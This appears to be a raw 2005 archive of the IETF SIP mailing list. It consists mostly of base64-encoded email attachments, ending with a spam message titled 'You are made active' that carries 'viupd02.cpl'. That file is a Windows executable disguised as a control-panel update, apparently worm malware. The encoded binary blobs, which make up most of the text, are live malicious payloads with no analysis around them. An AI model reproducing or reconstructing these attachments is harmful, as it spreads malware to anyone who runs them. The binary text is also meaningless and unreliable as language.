SbKVyGMArPL3Wii+ATEUKAh2NZG0o9CcCXfqMlDOEBs4/3Fg/SlltjzIvlN1KTf3G/kLpgX0 fKhON7HyPL9gAYMCyg/ZdCw1pjYIcB3Cqw39NBIYznWOuJBBgUnZvuV2J4yleZBSq+Yy6Qap fFd5LFym7WrhJEWE3sWvfgezXlzzKL+GSOzxwIt4mg5YcQfgo3lV7rD4EGI2UZxMKcSZWTBr Kfj8MBBIE1de38exrQwhuJpkfRlF5LAr2EUGTOEFnbl6sAv3Hf21Vwr+R7isjcknJD0l8b3i RB4oxpENqeyRdHrlxZSMxPlBTRA22NM2LO+NJmE7Filwg+StPb87MHV+QIn/An9FMcc73Lwe JbZQqzAb8w2YPYHIZHV6ON1OgR7y4arO02IFBOCnPFD7Gk6qt/d/eDB0JyvO8L1/J7bN+5lX njKnW5rBfrkQWCKVWsy1G1CQxPHwgFpi/O04vgrSDFh/+8tvr9BlYNJNNSKLJz2kS3rbmp8o FXW2zNSr0u075ULgLKW6+m+J1M6psd1hcE215kK8n8oNh4XrCWb7zbQGK0lSWmOd+aZ3hog3 hkAq/iU5dK3HVxvigfWvlFIBEFV/cxBDUOwy21O8Tpmh8gXevqqfWGow/uFgdeprCaxXwJe1 RDZVpCohRPq+TLFquRkHohP8ApuscFauLvAJvIAxWqH+jpeUkQiMNast5Zz4isRsf31wWiU0 eazf736xFXmlbPsZa6j9rmWW0/Hwc5TcV/n7AhogcctEOc3Jatn77trI2xISJwRFHDGg6JMx hKzeModLcUFyloq+JHn2bTcjEE+UO2rV4WHIhngL0VihrJnvbp3rpHiss8+2OvCdPxTcMyYX Xe4lEIa3RMjzqsmfRFfsJpj26ISsBcRNTy6uMxHICfousL1j+kdpSvyVb0AzLHmWp5QVsStG tRMgZTut09m+nsvnwNJE7HonRQ0aLj/3AqwCZuAj9SxpGNUjzeyzI9vaD3JRqrNKcpzxLU1S 3wn3dqWBUdHHZJxRV1LX71akrA4VWS0pgqgoXzScfCHIAjXJzEOyifhhkE6e0q3+vd5FY7mj VD+VrLRvnjY5wgygLUdxieABmGnYwVZzvy3MCbWApEFJa4Yyhtga9avzM6B8iz1TZC6DUIF2 LsS/i/jULMfrYXKiQo+Yf4PmP6YVPWAKTW1UjjS0DibmAftkagyXRAdP0/h6HG2f/SXyzXfr YV/vUd9zojgl+4T2wPzxpQcjjVqNNvrMIyB5+G3M0/P0BHi8Cr1zCzI9rmqibupuftUjx9J9 xSJRu96iqXEXBA3Q2msDQsaHDayDZA02ukitPut0J3KzymwHloym7n8ir/unkd9tEU9wPgEa 8LT3hG+V1FzatkntyUcmaxrhelCpvd6l4kXZtzXoIf7aOtMUln2VYqThL88nk0zUUt3o3RV1 0/h06UACry59vI+HqKJ3qDLIUn3jk4OJgc2Xl/CsjGbJ3850dlL7W67hMFzpyRZ4YQAt09Mz DeHGeTweC9gpoJusn4e1ZH/YD65O5RjSaZQaiJjv3EOIuGztMydRarZp7qmi7TKrTbYv9DOQ xSkd8d7/oVSOo1GecJdNyAoTGdPpm30KWro4HCW2mPTmfodTV2yYOQtYGb2hNCsUsdaGEcpy ik0IBXpCAN0pavm9mdIo2e9Pk9CQnDJOviJw7+SWcDY9qBvUgDJwPy76otqE22jik1S/LDjM rIMWyUZDfCEOZnJxUaPI4I3tO4dwMnBH8RPMWxk71Tw0rBT4B6XrXoW7w0EIkPHoPJvZDUom 2E7w0KjDQodicEphiy2VM34Yg+TuA2VewPhQ0B7TEnyel5XGlE4+rhYHkZVYif+H9IrK+l4F Nb9L5IdI0N6pP6U2BHFIfMJalUzVfWIb/0ZmePHOm7q4hj5qly3s/Xz7mTB8Pcx25KVQsPsY 11oYXNd3/R5zqFy36Nkwhkz642SKTW7k7LXAeQSXrdXLl1DUOn4GXpxY8R1rMyQpM56/fVTR h/BaHn+pwp9RjKYiryzRSfmJPDMK3sWVe+vs22bYHSg/HMFLYEatfs9wS8en//vQjLJ3KxzQ Mt39RLYSv+ERKx+wVpgCkyk9OjeqRqB0EUt5+j8LInsQ4f7ccjNthumsKP1guylSHDkuC2qJ x2K73x9NBMrJL/VzcdCMpjLplfDuxIiFyzjEXKZ3Nk3KLAuVsa46+LV/bffl2CKnlOeG+9lQ WddTS6LPmIthbXbPB/dxACOUPsvSk2kZs1vQ5McArdZAHra5qtLOnFBpBOiFwKdcSh37OFWI RX2ffM2ERCGyttQiYwVPXrFr4aIimvZ2UEZgHqTTpk4bXAChsvLhznssmQ20nySS214KJ500 5UfK2V1WW6WOzlKC9w8s16dPdStJOpqbDvIznpdJvTVOFDIz+xWadTxHXcHrurLCcNuGN+Sn Byl/z/2uI4q3CVmwihJusnYy9kLtNda2dZkUjw3P1oU9/LPjZ1MeoiVDKjVCHGQ3EP6nrKsB K9bhVRoI/Z3UzD55LRV78i24BZdzdqmNHcEqsu3eoVNBy1qelm8bQioUdaP1tugQSBM/y5Z1 l+cD1cArcl0O/L4z4CHmMTUZpP3TV+QSpHqVukfAJQgkZ8p/jJSS3V1dzVw53ZfcmCP1IaLh 26RsQT/n+R8rFT48g8hqvuEohomkIWdQlrU0dXA6FKTj/FuTIuHzybJ+kFhPJP136Y5OZ5Rm aRu7htlVYpVWyunJ6J0X5RKRjJRcUtx3I0fb7VvJ5IHmtUdLfXhYpgE1sqJYsuzNe0WKEDYL A/t9MOndR3QMLHkF/BSKatRZTldRhAYKCVHuF01wyLeR2zUOKU6BaMpu12285VVL2R+z0TJm ogrCUXfs7BJJfRh6cn6nPXjQWgNqIZVWjRwH9v9qlypyA0r29lMecFPPe57H23YSDUm7sHJL ygR8T8Iy2lsEPgBFZyMdIRx6LlfcM+hoQjai9hf1MdPskDUsfZmhQWXqg0AHIkheN8WbEnBl usRpmEFVcK8ktEHsgJLNlBylwwfY/QFf/OcSsadbssOpUhBS4ZthafdGA4B81VhkUwfPazbS ItCmEl3V1/quSpoDHZz54vlZmXSoPmc/Ag1pSCelgCXI7IT3YK57J/og4wMIHK8C76QDkJPq ZINK56vUvLSDndNxqe7r/TtZ4LbNlD2k6Xre5E6FhMn9vaKqCu+vAXrZjxP7Oww0luJP9ogz 9+xr4lIMR3mdiNqDTQHXXp3Eo3rCGk4jwmaIaq6sZEzzBNGgwY3/TkxFkoBQvUIpHhaLkdUr ZPa0cCWiJPbniLnVcdRIWv5rOJu2qela0MBtNdF+CTO6oJmDQHvXX2nLn4n5rYIXOIobIS6d 4HtD2rOVnZFdw8ipiS3deBxKH0yaO9q78gKfpKXilH+g3vJbquLCWK9Xb/o3YRnfKhqxQBma 4ufN2KuG4e3CGV9lG5tFwEydf2zV4/8822CsygbImCMYSpU1dZ0B+snwda4WaVLMRkaFC+AH E1Wfv0sloJmZXwGwwwUzeTe3FFn1Ha1G/kAk6keNfCk2YNKWdi1lnIUHHdmGqDHcM4f4lVFx wZqKXc0s0NmhrNp+a/TF7B/m8p5iJCu+DA6cYP+q5wOwAlRYnS3PQZeFKYkbPazYMyL2ZB2n giTALlXrksBQ03ce/qb4ocyDmuYzbAklpDeMgY2XJ9K41LtCrGZjiRyIP44mfIxmPQyuFG+K wXTqHjJHps4ojjrPIuH1ZEFPSTKP6b5nc9UHfq0CAPK+JL1Pq/a3/aS/HqH9VgTUXjzE5/+C 67ZRaqyLqjFg6gBNaTPxGGrzKz7rD7EgmHLmD+y/fjzVSq4LK9QthUOpo9WbZOIUBgVn08jl QH8pd9mCRctWqv4Q8nBg/e+w4GJlq5G3pD/edOCObh5a6hFlmBA+9dGI7dlCKEXSUym8o55j aagwn3PDJwS86lG5C8d2dXfS0GLlp6dOWqYHvjSMWezLfb/wNlh4gexfohKhBtA5qUg5yryG OTNjUkRJJAdaEopH7c6kSoIs1marTu+GSficNlzm9/UUv7yI79Z94Khrc6KpTcCNvfDTz73c +CGEsIO0dY9uxK+pI729SzxH0f0gcnt3Fak8fjz+/6kIy3LyZNVO9us46SyDQZEQOe93R1LP bKu9ydQxNk19j9SMpI9JstBb8JgGuvlbr0aHqrf/ZRuhhkj1c0DxrT9WYaDkjHQXMNW5bT60 4qi5YH1saKcA50LWhFxtcTSGRaqfTMw9JTCRRuHYucoMVYcVhv45cUpFr+cXyI/iPuHSKI1b bbYzSPug3qgHmNpdPZk34oekcAvzSdFo7qu8u1+184bZIu7Qqak8AUE1fuC3qTQ1BEMQVdyQ xVPUL3g63qfLAlblqaAqBz9tGzhPu+384E8sqlvpl7d5Ij+qbIJnz5PPZFV060PjIPO+nMjl KJ12xQNew0TQjWsQYO1TaRLP57mUwvllT2hvHsPwC2jWN7aTkIlU81rD5whlsaeufjOqweXE vmwE03KKxEc543e3uXzWo9I11sK7OV9OIRXLj8KRj5aGqZAtfwyBuSuU4BoUPLar3+ZPAmYx y3FXYBHLxTSSJEAQR0+AnHfn/FKXMroyjLaiddrlj5xiXI84Lr0RmWYBhK3r5wNHLo2A9obZ pP7sQ1Zajq7nVPtxl925diRHMlLZtEmcLtZ7srkV80o7v/x9lNq8toxhGovJ7ZYyryrj0wIo OiEIRQSAEIUHqN47p3alLurpjIs2GJK8K+VHul8g0ZDJS/rHts9HhihzwEn5Ff4HrU0wZLrH fIGl9LXZeglRkc3crC/GaMl1IHf+7Lq4BKiysLuMVE6EhnpgDnDIyfY03SseSzzWNRgvVtzq bSaIiREakKhgAZqevzLeVif1/UYyRfesgbpP1DKRk6f3o6Orw8O40TqwXnhA/xrtcO8qQEm4 5INWetVfqGAAbUfRWrx303vfuag1ttJKzy57dJdjHYI4G0meXIzuMOGXohFPfjDphe3Fg8gY GdSVSM4i7qkZg37M2jMfJCARBPYAVo7YnPwUdzWwkFgKJImm8YJJr6CotqS7i/U+xk+36zEZ bzDqihMcGA8GDxd2yGgtgwpngbIE/eXh54mlB1itvKj1+StYvHOMldYqO7znmENadiaMXc6x nMx4F38zM8WLbgMXg5MDHe9k2GSuAlqtTkkaJ2rlVsgc0w+7IUVIerA58bF+1DZXPCNIFm4c G6POG0kB6KiIx0l8jJ48vQJwt5l/4H+/Bt1Kunklz4P9iR7dPDB5SC3nFXWzRGyiE0crzPJ1 iApWw/qImlZF6uB1WtzjUfgXrkBTxt75VYEIH3mzlpHLD7z+0hbxiu/C1SUxP2UcGO7ENzIB al5sbIvTK2nhHS6JOuyti28QQFJkr37ovmMtTPp3C9eeAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAPAAAIAAAAAA AAAAAAAAAAAAAAQAAQAAAFAAAIACAAAAeAAAgAMAAACgAACABAAAAMgAAIAAAAAAAAAAAAAA AAAAAAEAAAAAAGgAAAAw8QAAKAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA WPIAAGgFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAuAAAAMD3AADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAAAAAOAAAACo+gAAqAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAEAAAAIAQCAAAAAAAAAAAAAAAAAAAABAAAAAAAgAQAAUAMBAD4AAAAAAAAAAAAAACgA AAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAA AAAAAAAAAAAAAACIiIiIiIAACAAAAAAACAAIAA/3iH/wAAgAD3CAh/AACAAPCIAI8AAIAA8I +AjwAAgIj4CAh/AACAiIeIhyIAAICPh3d3KgAACAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAA AAAACAAAAAAAAAAIAAD//wAA//8AAMAHAACAAwAAgAMAAIADAACAAwAAgAMAAIADAACAAwAA gAMAAMAHAAD/7wAA/+cAAP/nAAD/5wAAKAAAABAAAAAgAAAAAQAIAAAAAABAAQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAYGBgAQ0NDAFhYWAAqKioAU1NTADExMQBSUlIAX19fAEZGRgApKSkA VVVVAGRkZABbW1sAfn5+AFdXVwBpZWkAVFRUAKenpwD///8AfHx8AGhoaAA2NjYAkpKSAMHB wQCysrIAh4CHAChKKACNiY0AHBwcAMfHxwBycnIA5ubmAGZmZgDFwcUAeJd4AACQAACaipoA NTU1APf39wC4uLgAFBQUAHh4eABubm4ASkpKALGtsQD15vUAlZWVAOHh4QCIiIgAampqAD09 PQD6+voA8/PzAHR0dABjY2MAOTk5AJmZmQAzMzMA+Pj4AM3NzQBeXV0ANDQ0AGxsbACioqIA 8vLyAJ+fnwBgYGAAfX19AICAgACLi4sAXV1dAGJiYgB2dnYAeXl5ABoaGgAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQUFBQUFBQUFBQUA AAAABQAAAAAAAAAAAAAABQAAAAUAAABBE0JDREUTGAAAAAAFAAAAOzwWPT4/DhMAAAAABQAA ADUpIRgOKSwTAAAAAAUAAAAwKQwYGCkzNAAAAAARAAwMOygpKSksLTsAAAAAEQAFBQUoKCoh IhskAAAAAAUABRMFLy8YGBgkGwAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAAA AAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAEQAAAAAAAAAAAAAAAAAAABEAAAAA//8AAP// AADABwAAgAMAAIADAACAAwAAgAMAAIADAACAAwAAgAMAAIADAADABwAA/+8AAP/nAAD/5wAA /+cAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACA AAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiIiIiIiIiIiI iAAAAAAAgAAAAAAAAAAAAACAAAAACAAAAHd3d4iId3f/CAAAAAgAAAB///AAgAj//3AAAAAI AAAAf/8AiIiAj/9wAAAACAAAAH/4CAAAiAf/cAAAAAgAAAB/8IgAAAiI/3AAAAAIAAAAf/CA iAAIgP9wAAAACAAAAHfwgHiICID3cAAAAAgAAAB3eIgHiAgId3AAAAAIAAAAd3cIgACIB3dw AAAACAAACHeAAIiIgHd3cAAAAAgIiId3gAAAAIdwIHAAAAAIB4AAh4AAB3d3cqKAAAAACAcP /4dwAI////AggAAAAAgID/+IAAAAAAAAAAgAAAAAgIAAgIiIiIiIiIiAAAAAAAgAAAgAAAAA CAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAgIAAAAAA AAAAAAAAAAAAAICAAAAAAAAAAAAAAAAAAACAgAAAAAAAAAAAAAAAAAAAgIAAAAAAAAAAAAAA AAAAAAiIAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////////////////////4AAA/ 8AAAH+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AA AA/gAAAP8AAAH/gP+f////n////5////8P////D////w////8P////j//////ygAAAAgAAAA QAAAAAEACAAAAAAAgAQAAAAAAAAAAAAAAAEAAAAAAAAAAAAAgACAAIAAAACAgAAAAIAAAACA gAAAAIAAwMDAAMDcwADwyqYAgICAAP8A/wD/AAAA//8AAAD/AAAA//8AAAD/AP///wDw+/8A pKCgANTw/wCx4v8AjtT/AGvG/wBIuP8AJar/AACq/wAAktwAAHq5AABilgAASnMAADJQANTj /wCxx/8Ajqv/AGuP/wBIc/8AJVf/AABV/wAASdwAAD25AAAxlgAAJXMAABlQANTU/wCxsf8A jo7/AGtr/wBISP8AJSX/AAAA/wAAANwAAAC5AAAAlgAAAHMAAABQAOPU/wDHsf8Aq47/AI9r /wBzSP8AVyX/AFUA/wBJANwAPQC5ADEAlgAlAHMAGQBQAPDU/wDisf8A1I7/AMZr/wC4SP8A qiX/AKoA/wCSANwAegC5AGIAlgBKAHMAMgBQAP/U/wD/sf8A/47/AP9r/wD/SP8A/yX/AP8A /wDcANwAuQC5AJYAlgBzAHMAUABQAP/U8AD/seIA/47UAP9rxgD/SLgA/yWqAP8AqgDcAJIA uQB6AJYAYgBzAEoAUAAyAP/U4wD/sccA/46rAP9rjwD/SHMA/yVXAP8AVQDcAEkAuQA9AJYA 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 N7w9xw== ----------ubssyhbwbrnowsksbhst Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip ----------ubssyhbwbrnowsksbhst-- From sip-bounces@ietf.org Sun Feb 27 11:40:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11026 for ; Sun, 27 Feb 2005 11:40:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5RTy-0000pO-2u for sip-web-archive@ietf.org; Sun, 27 Feb 2005 11:41:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5RSI-000635-Er; Sun, 27 Feb 2005 11:39:42 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5RSE-00062o-Hk for sip@megatron.ietf.org; Sun, 27 Feb 2005 11:39:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA10964 for ; Sun, 27 Feb 2005 11:39:36 -0500 (EST) Received: from 218-163-133-52.dynamic.hinet.net ([218.163.133.52] helo=mychat-4926d99b.net) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D5RSj-0000ni-2k for sip@ietf.org; Sun, 27 Feb 2005 11:40:14 -0500 Date: Mon, 28 Feb 2005 00:39:34 +0800 To: "Sip" From: "Dromasca" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------agnfvesrvgwxsqwfgizk" X-Spam-Score: 3.3 (+++) X-Scan-Signature: f560cc438c8be83d0aa5c816c29b481c Subject: [Sip] You are made active X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: dadeebe491e67c033a493fd3c7d6792b ----------agnfvesrvgwxsqwfgizk Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Thanks for use of our software.
----------agnfvesrvgwxsqwfgizk Content-Type: application/octet-stream; name="viupd02.cpl" Content-Disposition: attachment; filename="viupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAADV9AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAA1TQAAADAAADVNAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 